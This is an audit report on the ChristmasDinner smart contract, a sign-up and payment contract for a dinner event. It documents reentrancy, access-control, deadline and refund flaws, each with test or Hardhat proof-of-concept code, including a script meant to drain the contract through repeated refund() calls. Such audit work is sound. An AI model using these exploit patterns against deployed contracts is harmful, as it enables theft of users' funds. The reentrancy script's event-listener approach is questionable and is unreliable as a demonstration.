Protocol Audit Report

Version 1.0

io10

December 28, 2024

Protocol Audit Report

io10

17/12/2024

Solo Auditor:

- io10

Table of Contents

Protocol Summary

About

This contract is designed as a modified fund me. It is supposed to sign up participants for a social christmas dinner (or any other dinner), while collecting payments for signing up.

We try to address the following problems in the oraganization of such events:

Funding Security: Organizing a social event is tough, people often say “we will attend” but take forever to pay their share, with our Christmas Dinner Contract we directly “force” the attendees to pay upon signup, so the host can plan properly knowing the total budget after deadline. Organization: Through funding security hosts will have a way easier time to arrange the event which fits the given budget. No Backsies.

Disclaimer

io10 makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
	High	H	H/M	M
Likelihood	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

Repo URL

https://github.com/Cyfrin/2024-12-christmas-dinner

In scope vs out of scope contracts

```
All Contracts in `src` are in scope.
src/
ChristmasDinner.sol
```

Compatibilities

Compatibilities: Blockchains: - Ethereum Tokens: - ETH

- WETH - WBTC - USDC

Roles

Actors:

Host: The person doing the organization of the event. Receiver of the funds by the end of deadline. Privilegded Role, which can be handed over to any Participant by the current host Participant: Attendees of the event which provided some sort of funding. Participant can become new Host, can continue sending money as Generous Donation, can sign up friends and can become Funder. Funder: Former Participants which left their funds in the contract as donation, but can not attend the event. Funder can become Participant again BEFORE deadline ends.

Executive Summary

This audit focused on the ChristmasDinner smart contract to identify vulnerabilities, assess functionality, and recommend mitigations for secure deployment. The analysis revealed critical flaws in the nonReentrant modifier implementation and additional medium-to-low severity risks affecting contract usability and security.

The critical issue identified is the improper implementation of the reentrancy guard within the nonReentrant modifier. The locked variable was never set to true during function execution, leaving the contract vulnerable to reentrancy attacks. This oversight allows an attacker to repeatedly call vulnerable functions, potentially draining the contract's funds. A straightforward fix involves correctly updating the locked variable at the start and end of the modifier's execution.

Another medium severity issue was identified in the refund mechanism. Contracts without a payable receive function cannot claim refunds, leading to a potential denial of service (DOS) scenario. While this does not threaten fund safety, it restricts functionality for some users. Mitigating this involves implementing withdrawal patterns that require active claiming by recipients.

The audit underscores the importance of robust reentrancy protection and careful design of refund mechanisms. Recommended changes ensure secure operations and better usability. All stakeholders are urged to implement these recommendations promptly to protect user funds and improve the system's resilience.

Issues found

Severity	Number Of Issues Found
High	6
Medium	1
Low	1
Informational	1
Total	9

Findings

High

[H-1] Reentrancy not handled as `ChristmasDinner::locked` is not set to true at any point in the `ChristmasDinner::nonReentrant` modifier which allows attacker to drain contract via reentrancy

Description: When attempting to initiate a reentrancy guard modifier, the idea is to lock the function during execution and unlock it after. See the code below from Openzeppelin's reentrancy guard contract:

```
1  modifier nonReentrant() {
2          _nonReentrantBefore();
3          _;
4          _nonReentrantAfter();
5      }
6
7      function _nonReentrantBefore() private {
8          // On the first call to nonReentrant, _status will be
               NOT_ENTERED
9          if (_status == ENTERED) {
10             revert ReentrancyGuardReentrantCall();
11         }
12
13         // Any calls to nonReentrant after this point will fail
14         _status = ENTERED;
15     }
16
17     function _nonReentrantAfter() private {
18         // By storing the original value once again, a refund is
               triggered (see
19         // https://eips.ethereum.org/EIPS/eip-2200)
```

```
20          _status = NOT_ENTERED;
21      }
```

In the ChristmasDinner contract, `ChristmasDinner::locked` is initialised as false and the modifier was as follows:

```
1   modifier nonReentrant() {
2           require(!locked, "No re-entrancy"); //bug reentrancy not
                handled as locked is not set to true at any point
3           _;
4           locked = false;
5       }
```

At no point was `ChristmasDinner::locked` set to true which means the functions using this modifier are never locked

Impact: Attacker can drain all funds from contract

Proof of Concept:

Using hardhat and ethers.js, an attacker could set up an event listener to listen for all transfer events and call the refund function again immediately after each transfer event is called which allows attacker to reenter the refund function and drain all the funds from the contract. See code below:

Code

```
1  const { ethers, getNamedAccounts } = require("hardhat");
2
3  let ChristmasDinnerContract;
4
5  async function main() {
6    console.log("Starting deployment...");
7
8    const signers = await ethers.getSigners();
9    console.log(
10     "Signers obtained:",
11     signers.map((s) => s.address)
12   );
13
14   const deployer = signers[0];
15   const account1 = signers[1];
16   const account2 = signers[2];
17   const account3 = signers[3];
18   const account4 = signers[4];
19   console.log(
20     "Accounts assigned:",
21     deployer.address,
22     account1.address,
23     account2.address,
24     account3.address,
```

```
    account4.address
  );

  const WBTCContractFactory = await ethers.getContractFactory(
    "ERC20Mock",
    deployer
  );
  console.log("WBTC Contract Factory obtained");

  const WBTCContract = await WBTCContractFactory.deploy();
  console.log("WBTC Contract deployed");
  await WBTCContract.waitForDeployment();
  console.log("WBTC Contract deployment confirmed");

  const WBTCAddress = await WBTCContract.getAddress();
  console.log("WBTC Address:", WBTCAddress);

  const WETHContractFactory = await ethers.getContractFactory(
    "ERC20Mock",
    deployer
  );
  console.log("WETH Contract Factory obtained");

  const WETHContract = await WETHContractFactory.deploy();
  console.log("WETH Contract deployed");
  await WETHContract.waitForDeployment();
  console.log("WETH Contract deployment confirmed");

  const WETHAddress = await WETHContract.getAddress();
  console.log("WETH Address:", WETHAddress);

  const USDCContractFactory = await ethers.getContractFactory(
    "ERC20Mock",
    deployer
  );
  console.log("USDC Contract Factory obtained");

  const USDCContract = await USDCContractFactory.deploy();
  console.log("USDC Contract deployed");
  await USDCContract.waitForDeployment();
  console.log("USDC Contract deployment confirmed");

  const USDCAddress = await USDCContract.getAddress();
  console.log("USDC Address:", USDCAddress);

  const ChristmasDinnerContractFactory = await ethers.
      getContractFactory(
    "ChristmasDinner",
    deployer
  );
  console.log("ChristmasDinner Contract Factory obtained");
```

```
75
76    const ChristmasDinnerContract = await ChristmasDinnerContractFactory.
          deploy(
77      WBTCAddress,
78      WETHAddress,
79      USDCAddress
80    );
81    console.log("ChristmasDinner Contract deployed");
82    await ChristmasDinnerContract.waitForDeployment();
83    console.log("ChristmasDinner Contract deployment confirmed");
84    const ChristmasDinnerAddress = await ChristmasDinnerContract.
          getAddress();
85    console.log("ChristmasDinner Address:", ChristmasDinnerAddress);
86
87    const abicoder = WBTCContract.interface.parseError("0x7fbee955");
88    const abicoder1 = WETHContract.interface.parseError("0x7fbee955");
89    const abicoder2 = USDCContract.interface.parseError("0x7fbee955");
90    const abicoder4 = ChristmasDinnerContract.interface.parseError("0
          x7fbee955");
91    console.log(abicoder, abicoder1, abicoder2, abicoder4);
92
93    for (let i = 0; i < 4; i++) {
94      await WBTCContract.mint(signers[i].address, BigInt("
            5000000000000000000"));
95      console.log(`WBTC minted for account ${signers[i].address}`);
96      console.log(
97        `WBTC balance for account ${signers[i].address}:`,
98        await WBTCContract.balanceOf(signers[i].address)
99      );
100     await WETHContract.mint(signers[i].address, BigInt("
            5000000000000000000"));
101     console.log(`WETH minted for account ${signers[i].address}`);
102     await USDCContract.mint(signers[i].address, BigInt("
            5000000000000000000"));
103     console.log(`USDC minted for account ${signers[i].address}`);
104     await ChristmasDinnerContract.setDeadline(3);
105   }
106
107   for (let i = 0; i < 4; i++) {
108     const tx1 = await WBTCContract.connect(signers[i]).approve(
109       await ChristmasDinnerContract.getAddress(),
110       BigInt("2000000000000000000")
111     );
112     const receipt1 = await tx1.wait();
113     console.log(`WBTC approved by account ${signers[i].address}`);
114
115     const tx2 = await WETHContract.connect(signers[i]).approve(
116       await ChristmasDinnerContract.getAddress(),
117       BigInt("2000000000000000000")
118     );
119     const receipt2 = await tx2.wait();
```

```
    console.log(`WETH approved by account ${signers[i].address}`);

    const tx3 = await USDCContract.connect(signers[i]).approve(
      await ChristmasDinnerContract.getAddress(),
      BigInt("2000000000000000000")
    );
    console.log(`USDC approved by account ${signers[i].address}`);

    const tx4 = await ChristmasDinnerContract.connect(signers[i]).
        deposit(
      WBTCAddress,
      BigInt("200000000000000000")
    );
    const receipt4 = await tx4.wait();
    console.log(`WBTC deposited by account ${signers[i].address}`);

    const tx5 = await ChristmasDinnerContract.connect(signers[i]).
        deposit(
      WETHAddress,
      BigInt("2000000000000000000")
    );
    const receipt5 = await tx5.wait();
    console.log(`WETH deposited by account ${signers[i].address}`);

    const tx6 = await ChristmasDinnerContract.connect(signers[i]).
        deposit(
      USDCAddress,
      BigInt("2000000000000000000")
    );
    const receipt6 = await tx6.wait();
    console.log(`USDC deposited by account ${signers[i].address}`);
  }

  console.log(
    "ChristmasDinner Contract Address WBTC Balance:",
    await WBTCContract.balanceOf(ChristmasDinnerAddress)
  );
  console.log(
    "ChristmasDinner Contract Address WETH Balance:",
    await WETHContract.balanceOf(ChristmasDinnerAddress)
  );
  console.log(
    "ChristmasDinner Contract Address USDC Balance:",
    await USDCContract.balanceOf(ChristmasDinnerAddress)
  );

  WETHContract.on("Transfer", async () => {
    console.log("Transfer event detected, calling refund...");
    await ChristmasDinnerContract.connect(deployer).refund();
    await WBTCContract.balanceOf(deployer.address);
  });
```

```
168
169   WBTCContract.on("Transfer", async () => {
170     console.log("Transfer event detected, calling refund...");
171     const tx11 = await ChristmasDinnerContract.connect(deployer).refund
          ();
172     await tx11.wait();
173     const bal = await WBTCContract.balanceOf(deployer.address);
174     console.log(bal);
175   });
176   const tx10 = await WBTCContract.connect(deployer).transfer(
177     account1,
178     BigInt("1000000000000000000")
179   );
180   const tx10receipt = await tx10.wait();
181
182   console.log("Transferred");
183
184   USDCContract.on("Transfer", async () => {
185     console.log("Transfer event detected, calling refund...");
186     await ChristmasDinnerContract.connect(deployer).refund();
187     await WBTCContract.balanceOf(deployer.address);
188   });
189
190   await ChristmasDinnerContract.on("Refunded", async () => {
191     console.log("Transfer event detected, calling refund...");
192     await ChristmasDinnerContract.connect(deployer).refund();
193     await WBTCContract.balanceOf(deployer.address);
194   });
195
196   console.log("Calling refund directly...");
197   const newtx = await ChristmasDinnerContract.connect(deployer).refund
        ();
198   const newtxreceipt = await newtx.wait();
199   const log = newtxreceipt.logs[0];
200   //const decodedlog = await ethers.decodeBytes32String(log)
201   const parsedlog = WETHContract.interface.parseLog(log);
202   console.log(parsedlog);
203   console.log("Refund completed");
204 }
205
206 main()
207   .then(() => process.exit(0))
208   .catch((error) => {
209     console.error(error);
210     process.exit(1);
211   });
```

Recommended Mitigation: To mitigate the reentrancy risk , modify the `ChristmasDinner::nonReentrant` as follows:

```
1 modifier nonReentrant() {
```

```
2           require(!locked, "No re-entrancy"); //bug reentrancy not
                handled as locked is not set to true at any point
3   +        locked = true;
4           _;
5           locked = false;
6       }
```

[H-2] No logic in contract to allocate funder role which means that participants who could not attend cannot become funders

Description: Protocol documentation says the following “Funder: Former Participants which left their funds in the contract as donation, but can not attend the event. Funder can become Participant again BEFORE deadline ends.” There is no logic in the contract to handle a participant that wants to become a funder.

Impact: Participants who could not attend cannot become funders

Proof of Concept: No need for POC as there is no funder logic to test

Recommended Mitigation: Add funder logic to contract

[H-3] Anyone can become participant without depositing which allows attacker to attend the party without paying

Description: `ChristmasDinner::changeParticipationStatus` has a conditional that checks if a msg.sender isnt a participant but at the same time, checks if the deadline has passed. using the and operator for this conditional means that every user that isnt a participant passes this check. As a result, any user can become a participant. This also means that an attacker can become a participant and either attend the party.

Code

```
1   function changeParticipationStatus() external {
2           if (participant[msg.sender]) {
3               participant[msg.sender] = false; //bug there is no logic
                    for the funder role so if a previous participant leaves,
                     there is no way to check that they ever paricipated
4           } else if (!participant[msg.sender] && block.timestamp <=
                deadline) {
5               participant[msg.sender] = true; //bug anyone can become a
                    participant before the deadline by calling this function
6           } else {
7               revert BeyondDeadline();
8           }
9           emit ChangedParticipation(msg.sender, participant[msg.sender]);
10      }
```

Impact: Attacker can attend the party without paying

Proof of Concept:

Test Code

```
1    function test_anyonecanbecomeparticipantwithoutdepositing() public {
2          vm.deal(user1, 10e18);
3          vm.startPrank(user1);
4          cd.changeParticipationStatus();
5          bool pstatus = cd.getParticipationStatus(user1);
6          assertEq(pstatus, true);
7      }
```

Recommended Mitigation: Refactor `ChristmasDinner::changeParticipationStatus` to include funder role. See code below:

Refactored Function

```
1
2  mapping(address=>bool) public funders;
3    function changeParticipationStatus() external {
4          if (participant[msg.sender]) {
5              participant[msg.sender] = false;
6              funders[msg.sender] = true;
7          } else if (!funders[msg.sender] && block.timestamp <= deadline)
               {
8              participant[msg.sender] = true;
9              funders[msg.sender] = false;
10         } else {
11             revert BeyondDeadline();
12         }
13         emit ChangedParticipation(msg.sender, participant[msg.sender]);
14     }
```

[H-4] Host can withdraw funds from the contract at any time which puts other actors at risk

Description: The documentation says “Host: The person doing the organization of the event. Receiver of the funds by the end of deadline.”. This suggests that the host should only be able to withdraw funds after the deadline has passed. Currently `ChristmasDinner::withdraw` allows the host to withdraw funds from the contract at any time and not just after the deadline has passed.

Impact: Allows host to withdraw funds earlier than other actors expect

Proof of Concept:

POC

```
1
2   function test_hostcanwithdrawfundsatanypointbeforedeadline() public {
3          vm.startPrank(user1);
4          cd.deposit(address(wbtc), 1e18);
5          vm.stopPrank();
```

```
6           vm.startPrank(user2);
7           cd.deposit(address(wbtc), 1e18);
8           vm.stopPrank();
9           vm.startPrank(user3);
10          cd.deposit(address(wbtc), 1e18);
11          vm.stopPrank();
12          vm.startPrank(deployer);
13          cd.withdraw();
14          vm.stopPrank();
15          assertEq(wbtc.balanceOf(deployer), 3e18);
16      }
```

Recommended Mitigation: There should be a check in the withdraw function to make sure that the deadline has passed before allowing host to withdraw. See refactored code below:

Refactored Function

```
1
2  function withdraw() external onlyHost {
3  +        if(block.timestamp < deadline){revert
       ChristmasDinner__DeadlineNotMet();}
4           address _host = getHost();
5           i_WETH.safeTransfer(_host, i_WETH.balanceOf(address(this)));
6           i_WBTC.safeTransfer(_host, i_WBTC.balanceOf(address(this)));
7           i_USDC.safeTransfer(_host, i_USDC.balanceOf(address(this)));
8
9       }
```

[H-5] Lack of logic to withdraw ether in `ChristmasDinner::withdraw` which reduces amount that host that withdraw from contract

Description: There is no logic in the `ChristmasDinner::withdraw` function that sends eth to the host address which leaves any eth sent to the contract stuck.

Impact: Stuck funds in `ChristmasDinner` contract

Proof of Concept:

POC

```
1
2   function test_etherisstuckincontract() public {
3           vm.deal(user1, 10e18);
4           vm.deal(user2, 10e18);
5           vm.deal(user3, 10e18);
6           vm.startPrank(user1);
7           address(cd).call{value: 1 ether}("");
8           vm.stopPrank();
9           vm.startPrank(user2);
10          address(cd).call{value: 1 ether}("");
11          vm.stopPrank();
```

```
12          vm.startPrank(user3);
13          address(cd).call{value: 1 ether}("");
14          vm.stopPrank();
15          vm.startPrank(deployer);
16          cd.withdraw();
17          assertEq(deployer.balance, 3 ether);
18      }
```

This test will fail when it should pass due to the exploit raised.

Recommended Mitigation: Add logic to withdraw ether to `ChristmasDinner::withdraw`. See refactored function below:

Refactored Function

```
1
2  function withdraw() external onlyHost {
3  +        if(block.timestamp < deadline){revert
       ChristmasDinner__DeadlineNotMet();}
4           address _host = getHost();
5           i_WETH.safeTransfer(_host, i_WETH.balanceOf(address(this)));
6           i_WBTC.safeTransfer(_host, i_WBTC.balanceOf(address(this)));
7           i_USDC.safeTransfer(_host, i_USDC.balanceOf(address(this)));
8  +        _host.transfer(address(this).balance);
9
10      }
```

[H-6] Participants who sent funds with ether are not registered which can lead to them not be confirmed as participants and not allowed to attend the dinner

Description: `ChristmasDinner::receive` does not register msg.sender as a participant. When an address sends ether to the contract, the expected behaviour is that the address is registered as a participant but this is not the case.

Impact: Participants arent correctly logged in the contract

Proof of Concept:

POC

```
1
2   function test_ethersendersdonotregisterasparticipants() public {
3           vm.deal(user1, 10e18);
4           vm.startPrank(user1);
5           address(cd).call{value: 1 ether}("");
6           vm.stopPrank();
7           bool user1status = cd.getParticipationStatus(user1);
8           assertEq(user1status, true);
9       }
```

This test will fail when it should pass due to the exploit raised.

Recommended Mitigation: Set `ChristmasDinner::participant` mapping to true for msg.sender in `ChristmasDinner::receive`. See refactored code:

Refactored Function

```
1
2   receive() external payable {
3
4           etherBalance[msg.sender] += msg.value;
5   +       participant[msg.sender] = true;
6           emit NewSignup(msg.sender, msg.value, true); //bug if someone
                deposits ether, the participants mapping isnt updated to
                know that they are a participant
7       }
```

Medium

[M-1] Host can reset deadline multiple times which allows host to move deadline closer and withdraw funds earlier than other actors expect

Description: `ChristmasDinner::setDeadline` is supposed to allow the host set the deadline once and only be able to withdraw funds from the contract after the deadline has past. The documentation says “Host: The person doing the organization of the event. Receiver of the funds by the end of deadline.”. This suggests that once the deadline is set, it shouldnt be able to be reset. See function:

Code

```
1
2   mapping(address=>bool) public funders;
3     function setDeadline(uint256 _days) external onlyHost {
4           if (deadlineSet) {
5               revert DeadlineAlreadySet();
6           } else {
7               deadline = block.timestamp + _days * 1 days; //bug
                    deadlineSet is never set to true which means deadline
                    can be set multiple times
8               emit DeadlineSet(deadline);
9           }
10      }
```

Impact: Allows host to move deadline closer and withdraw funds earlier than other actors expect

Proof of Concept:

POC

```
1
```

```
 function test_hostcanmovedeadlinecloserandwithdrawfunds() public {
        vm.startPrank(user1);
        cd.deposit(address(wbtc), 1e18);
        vm.stopPrank();
        vm.startPrank(user2);
        cd.deposit(address(wbtc), 1e18);
        vm.stopPrank();
        vm.startPrank(user3);
        cd.deposit(address(wbtc), 1e18);
        vm.stopPrank();
        vm.startPrank(deployer);
        cd.setDeadline(3);
        vm.warp(3 days);
        vm.roll(1);
        cd.withdraw();
        vm.stopPrank();
        assertEq(wbtc.balanceOf(deployer), 3e18);
    }
```

Recommended Mitigation: `ChristmasDinner::deadlineSet` should be set to true at the end of the `ChristmasDinner::setDeadline` function. See refactored code below:

Refactored Function

```

mapping(address=>bool) public funders;
  function setDeadline(uint256 _days) external onlyHost {
        if (deadlineSet) {
            revert DeadlineAlreadySet();
        } else {
            deadline = block.timestamp + _days * 1 days; //bug
               deadlineSet is never set to true which means deadline
               can be set multiple times
+            deadlineSet = true;
            emit DeadlineSet(deadline);
        }
    }
```

Low

[L-1] Contract with restrictive receive function cannot claim refund and this leads to a DOS

Description: A denial of service can be performed on the contract if a smart contract address that has deposited eth to the ChristmasDinner contract attempts to call `ChristmasDinner::refund` if the smart contract doesnt have a receive function that can handle incoming eth, when the `ChristmasDinner` contract attempts to refund eth, the transaction revert with `EVMError::Revert`.

Impact: DEnial Of Service

Proof of Concept:

Contract with no receive function

```
//SDPX-License-Identifier: MIT

pragma solidity 0.8.27;

contract EmptyContract {
    address payable public target;

    constructor(address _target) payable {
        target = payable(_target);
        target.call{value: 1 ether}("");
    }
}
```

Test to prove DOS (see test script)

```
  function test_Revertifsenderiscontractwnoreceive() public {
        vm.deal(user1, 10e18);
        vm.prank(user1);
        ec = new EmptyContract{value: 1 ether}(payable(address(cd)));
        vm.expectRevert();
        vm.prank(address(ec));
        cd.refund();
    }
```

Recommended Mitigation: Protocol should include function that implements push over pull methodology to allow users to pull eth out of `ChristmasDinner` contract rather than sending eth to users.

Informational

[I-1] NATSPEC error can lead to misleading description

Description: See natspec below:

```
/**
     * @dev ERC20 withdrawal of all user funds. No concern for
        Reentrancy //bug this is eth refund and eth is not an erc20
        token
     * since refund() uses a Mutex Lock
     * @param _to payable address passed from refund()
     */
    function _refundETH(address payable _to) internal {
        uint256 refundValue = etherBalance[_to];
        //_to.call{value: refundValue}("");
```

```
 9           _to.transfer(refundValue);
10           etherBalance[_to] = 0;
11       }
```

Impact: Misleading Documentation

Proof of Concept: See natspec above

Recommended Mitigation: Replace ERC20 withdrawal with ETH withdrawal